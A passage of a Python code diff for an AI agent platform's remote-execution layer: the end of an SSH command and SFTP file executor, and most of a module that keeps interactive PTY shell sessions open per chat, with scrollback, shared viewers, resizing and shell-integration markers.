except TimeoutError as exc:
|
||||
raise ExecError(f"{host} did not answer within {timeout}s.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise ExecError(f"Could not reach {host}: {exc}") from exc
|
||||
|
||||
if key is None:
|
||||
raise ExecError(f"{host} offered no host key.")
|
||||
|
||||
algorithm = key.get_algorithm()
|
||||
encoded = key.export_public_key("openssh").decode().split()[1]
|
||||
where = f"[{host}]:{port}" if port != 22 else host
|
||||
return f"{where} {algorithm} {encoded}\n", key.get_fingerprint("sha256")
|
||||
|
||||
|
||||
class SshExecutor:
|
||||
"""One target, reached over SSH. A connection per call."""
|
||||
|
||||
def __init__(self, spec: dict[str, Any], project_dir: str = "") -> None:
|
||||
self.spec = spec
|
||||
self.project_dir = project_dir or ""
|
||||
self.label = str(spec.get("label") or spec.get("host") or "the remote host")
|
||||
|
||||
def _connect(self):
|
||||
if problem := available():
|
||||
raise ExecError(problem)
|
||||
import asyncssh
|
||||
|
||||
return asyncssh.connect(self.spec["host"], **connect_kwargs(self.spec))
|
||||
|
||||
def _wrap(self, exc: Exception) -> ExecError:
|
||||
import asyncssh
|
||||
|
||||
if isinstance(exc, asyncssh.HostKeyNotVerifiable):
|
||||
return ExecError(
|
||||
f"{self.label} presented a different host key than the one that "
|
||||
"was confirmed. Nothing was sent. If the host was rebuilt, open "
|
||||
"it under Agents and confirm the new fingerprint."
|
||||
)
|
||||
if isinstance(exc, asyncssh.PermissionDenied):
|
||||
return ExecError(f"{self.label} refused the credential.")
|
||||
return ExecError(f"Could not reach {self.label}: {exc}")
|
||||
|
||||
async def run(self, request: ExecRequest) -> ExecResult:
|
||||
"""Run one command and read back what it said.
|
||||
|
||||
Every command is a fresh shell, so `cd` does not carry between calls --
|
||||
the working directory is set here, from `cwd` or the chat's project
|
||||
directory, and never spliced into the command string.
|
||||
"""
|
||||
import asyncssh
|
||||
|
||||
started = time.monotonic()
|
||||
directory = request.cwd or self.project_dir
|
||||
# A single-quoted path, with any embedded quote escaped. `cd` needs a
|
||||
# shell, so this is the one place a path meets one -- and it is a path
|
||||
# from the chat's own configuration, not from the model, except when the
|
||||
# model passed `cwd`, which is why it is quoted rather than trusted.
|
||||
command = request.command
|
||||
if directory:
|
||||
command = f"cd {_quote(directory)} && {command}"
|
||||
|
||||
try:
|
||||
async with self._connect() as conn:
|
||||
result = await conn.run(
|
||||
command,
|
||||
check=False,
|
||||
timeout=request.timeout,
|
||||
# Interleaved, because a shell transcript is what the model
|
||||
# has to read and separating them loses the ordering.
|
||||
stderr=asyncssh.STDOUT,
|
||||
# A command that waits for input fails at once instead of
|
||||
# sitting out its whole timeout in silence.
|
||||
stdin=asyncssh.DEVNULL,
|
||||
)
|
||||
except TimeoutError:
|
||||
elapsed = int((time.monotonic() - started) * 1000)
|
||||
return ExecResult(
|
||||
exit_status=-1,
|
||||
output=f"The command was still running after {request.timeout:g}s and was stopped.",
|
||||
timed_out=True,
|
||||
duration_ms=elapsed,
|
||||
)
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise self._wrap(exc) from exc
|
||||
|
||||
output, truncated = clean_output(result.stdout or "", limit=request.max_bytes)
|
||||
return ExecResult(
|
||||
exit_status=result.exit_status if result.exit_status is not None else -1,
|
||||
output=output,
|
||||
truncated=truncated,
|
||||
duration_ms=int((time.monotonic() - started) * 1000),
|
||||
)
|
||||
|
||||
# --- Files go over SFTP, never through a shell ---------------------------
|
||||
# The SSH exec protocol carries one command *string* that the far side's
|
||||
# shell parses; there is no argv form. So a path in a command line is
|
||||
# unavoidably a quoting problem, and a model-supplied path is exactly the
|
||||
# input that must not become one. Over SFTP a path is a path.
|
||||
async def read_file(self, path: str, *, max_bytes: int = MAX_READ_BYTES) -> str:
|
||||
import asyncssh
|
||||
|
||||
try:
|
||||
async with (
|
||||
self._connect() as conn,
|
||||
conn.start_sftp_client() as sftp,
|
||||
sftp.open(self._resolve(path), "rb") as handle,
|
||||
):
|
||||
data = await handle.read(max_bytes + 1)
|
||||
except asyncssh.SFTPNoSuchFile as exc:
|
||||
raise ExecError(f"There is no file at {path}.") from exc
|
||||
except asyncssh.SFTPPermissionDenied as exc:
|
||||
raise ExecError(f"Not allowed to read {path}.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise self._wrap(exc) from exc
|
||||
|
||||
text, _truncated = clean_output(data[:max_bytes], limit=max_bytes)
|
||||
return text
|
||||
|
||||
async def write_file(self, path: str, text: str) -> int:
|
||||
import asyncssh
|
||||
|
||||
payload = text.encode("utf-8")[:MAX_WRITE_BYTES]
|
||||
try:
|
||||
async with (
|
||||
self._connect() as conn,
|
||||
conn.start_sftp_client() as sftp,
|
||||
sftp.open(self._resolve(path), "wb") as handle,
|
||||
):
|
||||
await handle.write(payload)
|
||||
except asyncssh.SFTPPermissionDenied as exc:
|
||||
raise ExecError(f"Not allowed to write {path}.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise self._wrap(exc) from exc
|
||||
return len(payload)
|
||||
|
||||
async def list_dir(self, path: str = "") -> list[str]:
|
||||
import asyncssh
|
||||
|
||||
try:
|
||||
async with self._connect() as conn, conn.start_sftp_client() as sftp:
|
||||
target = self._resolve(path) if path else (self.project_dir or ".")
|
||||
names = await sftp.listdir(target)
|
||||
except asyncssh.SFTPNoSuchFile as exc:
|
||||
raise ExecError(f"There is no directory at {path or self.project_dir}.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise self._wrap(exc) from exc
|
||||
|
||||
visible = sorted(n for n in names if n not in (".", ".."))
|
||||
return visible[:MAX_ENTRIES]
|
||||
|
||||
async def scan_dir(self, path: str = "") -> list[RemoteEntry]:
|
||||
"""A listing with types, for a picker rather than for a model.
|
||||
|
||||
`readdir` rather than `listdir`: the latter returns bare names, and a
|
||||
browser has to know which rows can be walked into before it can draw
|
||||
them. Directories sort first and then by name, because that is the
|
||||
order somebody navigating expects -- `list_dir` keeps its plain
|
||||
lexicographic sort, since changing what a tool returns is changing a
|
||||
contract a model has already been shown.
|
||||
"""
|
||||
import stat
|
||||
|
||||
import asyncssh
|
||||
|
||||
try:
|
||||
async with self._connect() as conn, conn.start_sftp_client() as sftp:
|
||||
target = self._resolve(path) if path else (self.project_dir or ".")
|
||||
names = await sftp.readdir(target)
|
||||
except asyncssh.SFTPNoSuchFile as exc:
|
||||
raise ExecError(f"There is no directory at {path or self.project_dir}.") from exc
|
||||
except asyncssh.SFTPPermissionDenied as exc:
|
||||
raise ExecError(f"Not allowed to read {path or self.project_dir}.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
raise self._wrap(exc) from exc
|
||||
|
||||
entries: list[RemoteEntry] = []
|
||||
for item in names:
|
||||
name = item.filename
|
||||
if name in (".", ".."):
|
||||
continue
|
||||
attrs = item.attrs
|
||||
permissions = getattr(attrs, "permissions", None) or 0
|
||||
entries.append(
|
||||
RemoteEntry(
|
||||
name=name,
|
||||
is_dir=stat.S_ISDIR(permissions),
|
||||
size=getattr(attrs, "size", None) or 0,
|
||||
modified=int(getattr(attrs, "mtime", None) or 0),
|
||||
)
|
||||
)
|
||||
|
||||
entries.sort(key=lambda entry: (not entry.is_dir, entry.name.lower()))
|
||||
return entries[:MAX_ENTRIES]
|
||||
|
||||
def _resolve(self, path: str) -> str:
|
||||
"""A path relative to the project directory, unless it is absolute.
|
||||
|
||||
Deliberately *not* a containment check. The account on the far side is
|
||||
the boundary -- a profile whose user can only see /srv/project can only
|
||||
reach things under it -- and pretending otherwise here would be a
|
||||
comfort rather than a control, since `shell_run` could walk out of it in
|
||||
one line anyway.
|
||||
"""
|
||||
if not path:
|
||||
return self.project_dir or "."
|
||||
if path.startswith("/") or not self.project_dir:
|
||||
return path
|
||||
return f"{self.project_dir.rstrip('/')}/{path.lstrip('/')}"
|
||||
|
||||
|
||||
def _quote(value: str) -> str:
|
||||
return "'" + value.replace("'", "'\\''") + "'"
|
||||
|
||||
|
||||
async def check(spec: dict[str, Any], project_dir: str = "") -> dict[str, Any]:
|
||||
"""Connect, confirm the project directory, and report what was found.
|
||||
|
||||
Used by the Check button on a profile. Runs one harmless command rather than
|
||||
only opening a connection, because "the credential works" and "the directory
|
||||
is there" are the two things somebody is actually asking about.
|
||||
"""
|
||||
executor = SshExecutor(spec, project_dir)
|
||||
result = await executor.run(
|
||||
ExecRequest(command="uname -sr 2>/dev/null; pwd", timeout=15, max_bytes=4096)
|
||||
)
|
||||
lines = [line for line in result.output.splitlines() if line.strip()]
|
||||
return {
|
||||
"ok": result.ok,
|
||||
"system": lines[0] if lines else "",
|
||||
"cwd": lines[-1] if len(lines) > 1 else "",
|
||||
"output": result.output,
|
||||
}
|
||||
|
||||
|
||||
__all__ = [
|
||||
"INSTALL_HINT",
|
||||
"MAX_ENTRIES",
|
||||
"MAX_READ_BYTES",
|
||||
"SshExecutor",
|
||||
"available",
|
||||
"capture_host_key",
|
||||
"check",
|
||||
"connect_kwargs",
|
||||
"spec_from",
|
||||
]
|
||||
@@ -0,0 +1,727 @@
|
||||
"""Interactive shells, one per agent chat, held open behind the panel.
|
||||
|
||||
The other half of `ssh.py`. There a connection lives for one command, because a
|
||||
runner is a request-and-answer and holding state would be the wrong shape. Here
|
||||
the connection *is* the state: a PTY with a shell on the far side, its scrollback,
|
||||
and whoever is currently watching it.
|
||||
|
||||
Shaped after `services/generation.py` -- a registry, a background task that owns
|
||||
the work, and a socket that merely follows it -- and it differs in three ways
|
||||
worth knowing:
|
||||
|
||||
* **Keyed on the chat, not on a session of its own.** A reload is
|
||||
indistinguishable from a second tab, so anything finer needs an id in the
|
||||
browser's storage, and then an abandoned tab leaks a shell nothing in the UI
|
||||
can find. One chat, one shell. Two tabs share it, like `tmux attach` twice,
|
||||
which is the only reading under which "it is still there when you come back"
|
||||
means anything. They also share a size, and the smaller one wins.
|
||||
|
||||
* **Nothing here ends by itself.** A generation finishes, so `generation.ensure`
|
||||
can prune inside itself. A shell sits at a prompt forever and nothing calls in
|
||||
again, so there is a reaper task instead. Copying the generation shape here
|
||||
would mean nothing was ever swept.
|
||||
|
||||
* **A slow reader is dropped, not buffered.** Every viewer has a bounded queue;
|
||||
one that fills is disconnected and reattaches with the scrollback. Blocking
|
||||
the pump instead would stall every other viewer and buffer without bound
|
||||
inside the server -- and `yes` is one word to type.
|
||||
|
||||
What a person types here is deliberately not run past `agent/policy.py`. The
|
||||
modes and the two lists govern a *model*, which reads untrusted pages and files
|
||||
and can be talked into things. Somebody at a keyboard holds the credential
|
||||
already and could open the same shell with an ssh client; asking them to approve
|
||||
their own keystrokes would be theatre.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import contextlib
|
||||
import logging
|
||||
import time
|
||||
import uuid
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Any
|
||||
|
||||
from lembas.services.agent import capture, shell_marks
|
||||
from lembas.services.agent.base import ExecError
|
||||
from lembas.services.agent.ssh import available, connect_kwargs
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
# What one shell keeps to hand a returning viewer. Bytes rather than lines: a
|
||||
# line budget is dishonest about a program that writes one very long line.
|
||||
SCROLLBACK_BYTES = 256 * 1024
|
||||
|
||||
# How much output one viewer may fall behind by before it is dropped. Frames
|
||||
# are whatever the far side wrote, so this is generous in wall-clock terms and
|
||||
# only reached by a browser that has genuinely stopped reading.
|
||||
VIEWER_QUEUE = 512
|
||||
|
||||
# Read size. Large enough that `cat` of a big file is not a million wakeups,
|
||||
# small enough that a prompt appears the instant it is written.
|
||||
READ_BYTES = 64 * 1024
|
||||
|
||||
# A terminal nobody has ever heard of gets no colours; this one every shell
|
||||
# knows and it is what an ordinary ssh client announces.
|
||||
TERM_TYPE = "xterm-256color"
|
||||
|
||||
# A size is a number the browser sends. `change_terminal_size(100000, 100000)`
|
||||
# is a way to ask the far side to allocate.
|
||||
MAX_COLS = 500
|
||||
MAX_ROWS = 300
|
||||
MIN_COLS = 20
|
||||
MIN_ROWS = 5
|
||||
|
||||
# How long a closed session stays in the registry. A tab attaching a second
|
||||
# after the shell exited should be told what happened rather than silently
|
||||
# handed a fresh one.
|
||||
KEEP_CLOSED = 60.0
|
||||
|
||||
# How often the reaper looks. Nothing here is urgent: the idle timeout is
|
||||
# measured in minutes.
|
||||
REAP_INTERVAL = 30.0
|
||||
|
||||
# Why a session ended. The browser is told, and the wording differs enough to be
|
||||
# worth the constants.
|
||||
CLOSED_EXITED = "exited"
|
||||
CLOSED_IDLE = "idle"
|
||||
CLOSED_SHUTDOWN = "shutdown"
|
||||
CLOSED_REVOKED = "revoked"
|
||||
CLOSED_ERROR = "error"
|
||||
|
||||
# Whether this shell tells us where its commands begin and end.
|
||||
# live -- it does
|
||||
# loading -- the hooks went in; the first prompt has not arrived yet
|
||||
# none -- it never will: an unknown shell, or a dotfile that replaced it
|
||||
INTEGRATION_LIVE = "live"
|
||||
INTEGRATION_LOADING = "loading"
|
||||
INTEGRATION_NONE = "none"
|
||||
|
||||
# How long a shell may produce output without ever marking a prompt before we
|
||||
# conclude it is not going to. This is what catches a `.bashrc` ending in `exec
|
||||
# tmux`: the hooks were installed and then the shell replaced itself. Without
|
||||
# it the buttons stay greyed out forever with no explanation.
|
||||
INTEGRATION_GRACE = 10.0
|
||||
|
||||
|
||||
@dataclass
|
||||
class Viewer:
|
||||
"""One browser watching one shell."""
|
||||
|
||||
cols: int = 80
|
||||
rows: int = 24
|
||||
id: str = field(default_factory=lambda: uuid.uuid4().hex)
|
||||
queue: asyncio.Queue = field(default_factory=lambda: asyncio.Queue(maxsize=VIEWER_QUEUE))
|
||||
# Everything the shell has said so far, handed over in the same synchronous
|
||||
# call that subscribes. Reading the buffer and subscribing as two awaits
|
||||
# loses whatever arrives between them.
|
||||
snapshot: bytes = b""
|
||||
# Set when this viewer fell behind. It is woken with the sentinel below and
|
||||
# told to reconnect, which costs it nothing: the scrollback is the state.
|
||||
dropped: bool = False
|
||||
|
||||
|
||||
class Session:
|
||||
"""A shell on the far side of one chat's connection."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
chat_id: str,
|
||||
*,
|
||||
owner_id: str,
|
||||
profile_id: str,
|
||||
label: str,
|
||||
project_dir: str = "",
|
||||
idle_timeout: float = 1800.0,
|
||||
cols: int = 80,
|
||||
rows: int = 24,
|
||||
integrate: bool = True,
|
||||
) -> None:
|
||||
self.chat_id = chat_id
|
||||
self.owner_id = owner_id
|
||||
self.profile_id = profile_id
|
||||
self.label = label
|
||||
self.project_dir = project_dir
|
||||
self.idle_timeout = idle_timeout
|
||||
|
||||
self.viewers: dict[str, Viewer] = {}
|
||||
self._scrollback: deque[bytes] = deque()
|
||||
self._scrollback_bytes = 0
|
||||
|
||||
# --- Command boundaries ---------------------------------------------
|
||||
# Three states, and the middle one matters: INTEGRATION_LOADING means
|
||||
# the hooks were installed and no marker has arrived yet, which is a
|
||||
# different thing to tell somebody than "this shell will never mark".
|
||||
self.integrate = integrate
|
||||
self.integration = INTEGRATION_LOADING if integrate else INTEGRATION_NONE
|
||||
self.shell = ""
|
||||
self._marks = shell_marks.Marks(self._on_mark, self._on_text)
|
||||
# At most two, ever. The one being written and the last finished one --
|
||||
# a history would be a second scrollback with none of the bounding.
|
||||
self.current: capture.Capture | None = None
|
||||
self.last: capture.Capture | None = None
|
||||
self._captures = 0
|
||||
# Where the shell says it is, which the panel header shows live and a
|
||||
# capture records. Seeded from the chat so it says something sensible
|
||||
# before the first prompt.
|
||||
self.cwd = project_dir
|
||||
# Set by the socket layer, which knows how to shape a frame. Called
|
||||
# when a command finishes so a panel can enable its buttons without
|
||||
# polling for something that happens a few times a minute.
|
||||
self.on_command: Any = None
|
||||
|
||||
self._conn: Any = None
|
||||
self._process: Any = None
|
||||
self._pump: asyncio.Task | None = None
|
||||
|
||||
self.closed = False
|
||||
self.closed_reason = ""
|
||||
self.closed_at = 0.0
|
||||
self.started_at = time.monotonic()
|
||||
# Bumped by a keystroke and by a viewer coming or going. Idle is this
|
||||
# going quiet *with nobody attached*: a build running behind a closed
|
||||
# panel is the case this whole lifetime exists for.
|
||||
self.last_active = time.monotonic()
|
||||
# The size the PTY is *created* with, which matters: a shell prints its
|
||||
# prompt before anything could resize it, and a prompt drawn at 80
|
||||
# columns inside a 140-column window stays wrong until the next one.
|
||||
self.cols = _clamp(cols, MIN_COLS, MAX_COLS)
|
||||
self.rows = _clamp(rows, MIN_ROWS, MAX_ROWS)
|
||||
|
||||
# --- Opening -------------------------------------------------------------
|
||||
|
||||
async def start(self, spec: dict[str, Any]) -> None:
|
||||
"""Connect, ask for a PTY, and start pumping what it says.
|
||||
|
||||
The credential is used here and not kept. `spec` is a decrypted snapshot
|
||||
of a profile and the connection outlives the request that made it, so
|
||||
holding a private key in memory for the hour a shell sits at a prompt
|
||||
buys nothing.
|
||||
"""
|
||||
if problem := available():
|
||||
raise ExecError(problem)
|
||||
import asyncssh
|
||||
|
||||
try:
|
||||
self._conn = await asyncssh.connect(
|
||||
spec["host"],
|
||||
**connect_kwargs(spec),
|
||||
# asyncssh sends no keepalives by default. `SshExecutor` never
|
||||
# needed them because its connections live for one command; a
|
||||
# shell held open behind NAT otherwise gets dropped with no FIN
|
||||
# and no exception, and the pump simply never returns -- the
|
||||
# panel looks alive and answers nothing.
|
||||
keepalive_interval=30,
|
||||
keepalive_count_max=3,
|
||||
)
|
||||
self._process = await self._conn.create_process(
|
||||
self._command(),
|
||||
term_type=TERM_TYPE,
|
||||
term_size=(self.cols, self.rows),
|
||||
# Bytes in both directions. A read lands mid-character often
|
||||
# enough to matter, and the browser's decoder is stateful across
|
||||
# writes while a per-frame decode here is not: it would corrupt
|
||||
# every boundary. Nothing decodes, so nothing can split.
|
||||
encoding=None,
|
||||
stderr=asyncssh.STDOUT,
|
||||
)
|
||||
except asyncssh.HostKeyNotVerifiable as exc:
|
||||
await self._teardown()
|
||||
raise ExecError(
|
||||
f"{self.label} presented a different host key than the one that "
|
||||
"was confirmed. Nothing was sent."
|
||||
) from exc
|
||||
except asyncssh.PermissionDenied as exc:
|
||||
await self._teardown()
|
||||
raise ExecError(f"{self.label} refused the credential.") from exc
|
||||
except (OSError, asyncssh.Error) as exc:
|
||||
await self._teardown()
|
||||
raise ExecError(f"Could not reach {self.label}: {exc}") from exc
|
||||
|
||||
self._pump = asyncio.create_task(self._read_forever())
|
||||
|
||||
def _command(self) -> str | None:
|
||||
"""What the PTY runs, or None for the account's plain login shell.
|
||||
|
||||
A shell has no notion of "start here" that SSH can carry, so the chat's
|
||||
project directory has to be a `cd` -- run before the shell rather than
|
||||
typed into it, so the scrollback opens on a prompt instead of on a
|
||||
command nobody entered. It is single-quoted, and a failure is ignored:
|
||||
a directory that has been deleted should leave somebody at a shell to
|
||||
find out why, not with a connection that closes as it opens.
|
||||
|
||||
With integration on, the same string also writes the shell-integration
|
||||
files and execs through them; see `shell_marks` for why it is done in
|
||||
the command rather than over SFTP or through the environment.
|
||||
"""
|
||||
return shell_marks.command_for(self.project_dir, integrate=self.integrate)
|
||||
|
||||
# --- Where one command ends and the next begins --------------------------
|
||||
|
||||
def _on_mark(self, kind: str, value: str) -> None:
|
||||
"""One marker, from the scanner in the pump.
|
||||
|
||||
Advisory, never trusted: a program can print these itself and move a
|
||||
boundary. It is not a way in -- the text is sanitised and fenced either
|
||||
way, and a program could already print anything on screen -- but that is
|
||||
why nothing here validates them, and why none of it decides anything a
|
||||
person could not already do at the keyboard.
|
||||
"""
|
||||
if kind == shell_marks.MARK_READY:
|
||||
self.integration = INTEGRATION_LIVE
|
||||
self.shell = value.split(";")[0][:32]
|
||||
return
|
||||
|
||||
if self.integration != INTEGRATION_LIVE and kind in (
|
||||
shell_marks.MARK_PROMPT,
|
||||
shell_marks.MARK_OUTPUT,
|
||||
):
|
||||
self.integration = INTEGRATION_LIVE
|
||||
|
||||
if kind == shell_marks.MARK_CWD:
|
||||
path = shell_marks.unescape(value.partition("=")[2])[:1000]
|
||||
self.cwd = path
|
||||
return
|
||||
|
||||
if kind == shell_marks.MARK_COMMAND:
|
||||
self._captures += 1
|
||||
self.current = capture.Capture(
|
||||
seq=self._captures,
|
||||
command=capture.trim_command(shell_marks.unescape(value)),
|
||||
cwd=self.cwd,
|
||||
)
|
||||
return
|
||||
|
||||
if kind == shell_marks.MARK_DONE and self.current is not None:
|
||||
try:
|
||||
self.current.exit_status = int(value.strip() or 0)
|
||||
except ValueError:
|
||||
self.current.exit_status = 0
|
||||
self.current.ended = time.monotonic()
|
||||
self.last = self.current
|
||||
self.current = None
|
||||
if self.on_command is not None:
|
||||
self.on_command(self.last)
|
||||
|
||||
def _on_text(self, data: bytes) -> None:
|
||||
"""Everything that was not a marker, while a command is running.
|
||||
|
||||
Interleaved with `_on_mark` rather than applied to the whole chunk
|
||||
afterwards: a shell often writes the command marker, the output and the
|
||||
finished marker in one read, and absorbing after the scan would find
|
||||
the capture already closed and keep nothing at all.
|
||||
"""
|
||||
if self.current is not None:
|
||||
self.current.absorb(data)
|
||||
|
||||
def latest(self) -> capture.Capture | None:
|
||||
"""The command to act on: the one still running, else the last one.
|
||||
|
||||
In-flight counts. "Copy the last command and its output" while `make` is
|
||||
still going should give what has been printed so far, marked as still
|
||||
running -- not "nothing yet".
|
||||
"""
|
||||
return self.current or self.last
|
||||
|
||||
# --- Following -----------------------------------------------------------
|
||||
|
||||
def attach(self, cols: int = 80, rows: int = 24) -> Viewer:
|
||||
"""Subscribe, and take the scrollback, in one synchronous step.
|
||||
|
||||
One step on purpose: reading the buffer and subscribing as two awaits
|
||||
loses whatever the shell says between them, which is exactly the moment
|
||||
somebody reattaches to a build that is still writing.
|
||||
"""
|
||||
viewer = Viewer(
|
||||
cols=_clamp(cols, MIN_COLS, MAX_COLS),
|
||||
rows=_clamp(rows, MIN_ROWS, MAX_ROWS),
|
||||
)
|
||||
viewer.snapshot = b"".join(self._scrollback)
|
||||
self.viewers[viewer.id] = viewer
|
||||
self.last_active = time.monotonic()
|
||||
self.apply_size()
|
||||
return viewer
|
||||
|
||||
def detach(self, viewer: Viewer) -> None:
|
||||
self.viewers.pop(viewer.id, None)
|
||||
# Counts as activity: the timeout is "nobody has been here and nothing
|
||||
# has happened for a while", so it starts when the last viewer leaves.
|
||||
self.last_active = time.monotonic()
|
||||
self.apply_size()
|
||||
|
||||
async def send(self, data: bytes) -> None:
|
||||
"""Type into the shell."""
|
||||
if self.closed or self._process is None:
|
||||
return
|
||||
self.last_active = time.monotonic()
|
||||
try:
|
||||
self._process.stdin.write(data)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
await self._finish(CLOSED_EXITED)
|
||||
|
||||
def resize(self, viewer: Viewer, cols: int, rows: int) -> None:
|
||||
"""Record this viewer's size and give the far side the smallest.
|
||||
|
||||
Two tabs on one PTY cannot each have their own geometry. The smaller
|
||||
wins in both directions, so nothing is drawn off the edge of the smaller
|
||||
window -- the larger one gets an unused margin, which is the harmless
|
||||
half of the trade.
|
||||
"""
|
||||
viewer.cols = _clamp(cols, MIN_COLS, MAX_COLS)
|
||||
viewer.rows = _clamp(rows, MIN_ROWS, MAX_ROWS)
|
||||
self.apply_size()
|
||||
|
||||
def apply_size(self) -> None:
|
||||
"""Synchronous: `change_terminal_size` only queues a window-change
|
||||
message, so there is nothing to await and no reason to make every
|
||||
caller a coroutine."""
|
||||
if self.closed or self._process is None or not self.viewers:
|
||||
return
|
||||
cols = min(v.cols for v in self.viewers.values())
|
||||
rows = min(v.rows for v in self.viewers.values())
|
||||
if (cols, rows) == (self.cols, self.rows):
|
||||
return
|
||||
self.cols, self.rows = cols, rows
|
||||
with contextlib.suppress(Exception):
|
||||
self._process.change_terminal_size(cols, rows)
|
||||
|
||||
# --- The pump ------------------------------------------------------------
|
||||
|
||||
async def _read_forever(self) -> None:
|
||||
assert self._process is not None
|
||||
try:
|
||||
while True:
|
||||
data = await self._process.stdout.read(READ_BYTES)
|
||||
if not data:
|
||||
break
|
||||
self._remember(data)
|
||||
# Before the fan-out, so a "this command finished" frame can
|
||||
# never reach a browser after the output it describes.
|
||||
self._observe(data)
|
||||
self._fan_out(data)
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
except Exception as exc: # noqa: BLE001 - one shell dying is not a crash
|
||||
log.info("terminal %s ended: %s", self.chat_id, exc)
|
||||
await self._finish(CLOSED_ERROR)
|
||||
return
|
||||
await self._finish(CLOSED_EXITED)
|
||||
|
||||
def _observe(self, data: bytes) -> None:
|
||||
"""Watch the stream for markers, and feed the command being captured.
|
||||
|
||||
Server-side rather than in the browser, for five reasons. The `behind`
|
||||
path calls `term.reset()` and replays a *truncated* scrollback, so a
|
||||
client parser routinely sees a "finished" with no matching "started".
|
||||
Two tabs share one shell and two parsers can disagree about what "the
|
||||
last command" is. The server sees the stream once however many are
|
||||
watching. And what comes out of this ends up inside a prompt -- deriving
|
||||
it here means there is nothing to disbelieve later.
|
||||
|
||||
The bytes are still fanned out unchanged, markers and all: xterm
|
||||
consumes an OSC it has no handler for and never draws it, and rewriting
|
||||
frames on the hot path would break the "nothing decodes, so nothing can
|
||||
split" property the pump depends on.
|
||||
"""
|
||||
self._marks.feed(data)
|
||||
if self.current is None and (
|
||||
self.integration == INTEGRATION_LOADING
|
||||
and time.monotonic() - self.started_at > INTEGRATION_GRACE
|
||||
):
|
||||
# Output arrived, the grace period passed, and no marker ever came.
|
||||
# Output arrived, the grace period passed, and no marker ever came.
|
||||
# Something replaced the shell -- a dotfile ending in `exec tmux` is
|
||||
# the usual one. Say so rather than leaving the buttons greyed.
|
||||
self.integration = INTEGRATION_NONE
|
||||
|
||||
def _remember(self, data: bytes) -> None:
|
||||
self._scrollback.append(data)
|
||||
self._scrollback_bytes += len(data)
|
||||
while self._scrollback_bytes > SCROLLBACK_BYTES and len(self._scrollback) > 1:
|
||||
self._scrollback_bytes -= len(self._scrollback.popleft())
|
||||
|
||||
def announce(self, text: str) -> None:
|
||||
"""Put one text frame in front of every viewer.
|
||||
|
||||
Through the same queues as the output so ordering is preserved: a
|
||||
"finished" that overtook the last of the output it describes would have
|
||||
a panel offering a capture the screen has not caught up with. Dropped
|
||||
rather than blocking on a full queue -- that viewer is already being
|
||||
disconnected and will be told again on reattach.
|
||||
"""
|
||||
for viewer in list(self.viewers.values()):
|
||||
with contextlib.suppress(asyncio.QueueFull):
|
||||
viewer.queue.put_nowait(text)
|
||||
|
||||
def _fan_out(self, data: bytes) -> None:
|
||||
for viewer in list(self.viewers.values()):
|
||||
try:
|
||||
viewer.queue.put_nowait(data)
|
||||
except asyncio.QueueFull:
|
||||
# Emptied first so the sentinel fits and so the socket does not
|
||||
# spend its last moments writing frames nobody will see.
|
||||
_drain(viewer.queue)
|
||||
viewer.dropped = True
|
||||
with contextlib.suppress(asyncio.QueueFull):
|
||||
viewer.queue.put_nowait(None)
|
||||
self.viewers.pop(viewer.id, None)
|
||||
|
||||
# --- Closing -------------------------------------------------------------
|
||||
|
||||
async def close(self, reason: str = CLOSED_SHUTDOWN) -> None:
|
||||
pump, self._pump = self._pump, None
|
||||
if pump is not None:
|
||||
pump.cancel()
|
||||
with contextlib.suppress(asyncio.CancelledError, Exception):
|
||||
await pump
|
||||
await self._finish(reason)
|
||||
|
||||
async def _finish(self, reason: str) -> None:
|
||||
"""Mark this session over and wake everybody watching.
|
||||
|
||||
Called from the pump when the shell exits, and from `close` after the
|
||||
pump has been cancelled -- which is why it does not cancel the pump
|
||||
itself. The entry stays in the registry for KEEP_CLOSED so a late
|
||||
attachment gets an explanation.
|
||||
"""
|
||||
if self.closed:
|
||||
return
|
||||
self.closed = True
|
||||
self.closed_reason = reason
|
||||
self.closed_at = time.monotonic()
|
||||
for viewer in list(self.viewers.values()):
|
||||
with contextlib.suppress(asyncio.QueueFull):
|
||||
viewer.queue.put_nowait(None)
|
||||
await self._teardown()
|
||||
log.info(
|
||||
"terminal closed chat=%s owner=%s profile=%s reason=%s after=%.0fs",
|
||||
self.chat_id,
|
||||
self.owner_id,
|
||||
self.profile_id,
|
||||
reason,
|
||||
time.monotonic() - self.started_at,
|
||||
)
|
||||
|
||||
async def _teardown(self) -> None:
|
||||
process, self._process = self._process, None
|
||||
conn, self._conn = self._conn, None
|
||||
if process is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
process.terminate()
|
||||
if conn is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
conn.close()
|
||||
with contextlib.suppress(Exception):
|
||||
await conn.wait_closed()
|
||||
|
||||
@property
|
||||
def idle_for(self) -> float:
|
||||
if self.viewers:
|
||||
return 0.0
|
||||
return time.monotonic() - self.last_active
|
||||
|
||||
|
||||
# --- The registry ------------------------------------------------------------
|
||||
|
||||
_SESSIONS: dict[str, Session] = {}
|
||||
_REAPER: asyncio.Task | None = None
|
||||
|
||||
|
||||
def get(chat_id: str) -> Session | None:
|
||||
"""The live session for a chat, if there is one. Closed ones do not count."""
|
||||
session = _SESSIONS.get(chat_id)
|
||||
if session is None or session.closed:
|
||||
return None
|
||||
return session
|
||||
|
||||
|
||||
def peek(chat_id: str) -> Session | None:
|
||||
"""As `get`, but a recently closed session too -- it carries the reason."""
|
||||
return _SESSIONS.get(chat_id)
|
||||
|
||||
|
||||
def count() -> int:
|
||||
return sum(1 for s in _SESSIONS.values() if not s.closed)
|
||||
|
||||
|
||||
def count_for(owner_id: str) -> int:
|
||||
return sum(1 for s in _SESSIONS.values() if not s.closed and s.owner_id == owner_id)
|
||||
|
||||
|
||||
async def open_session(
|
||||
chat_id: str,
|
||||
*,
|
||||
owner_id: str,
|
||||
profile_id: str,
|
||||
label: str,
|
||||
spec: dict[str, Any],
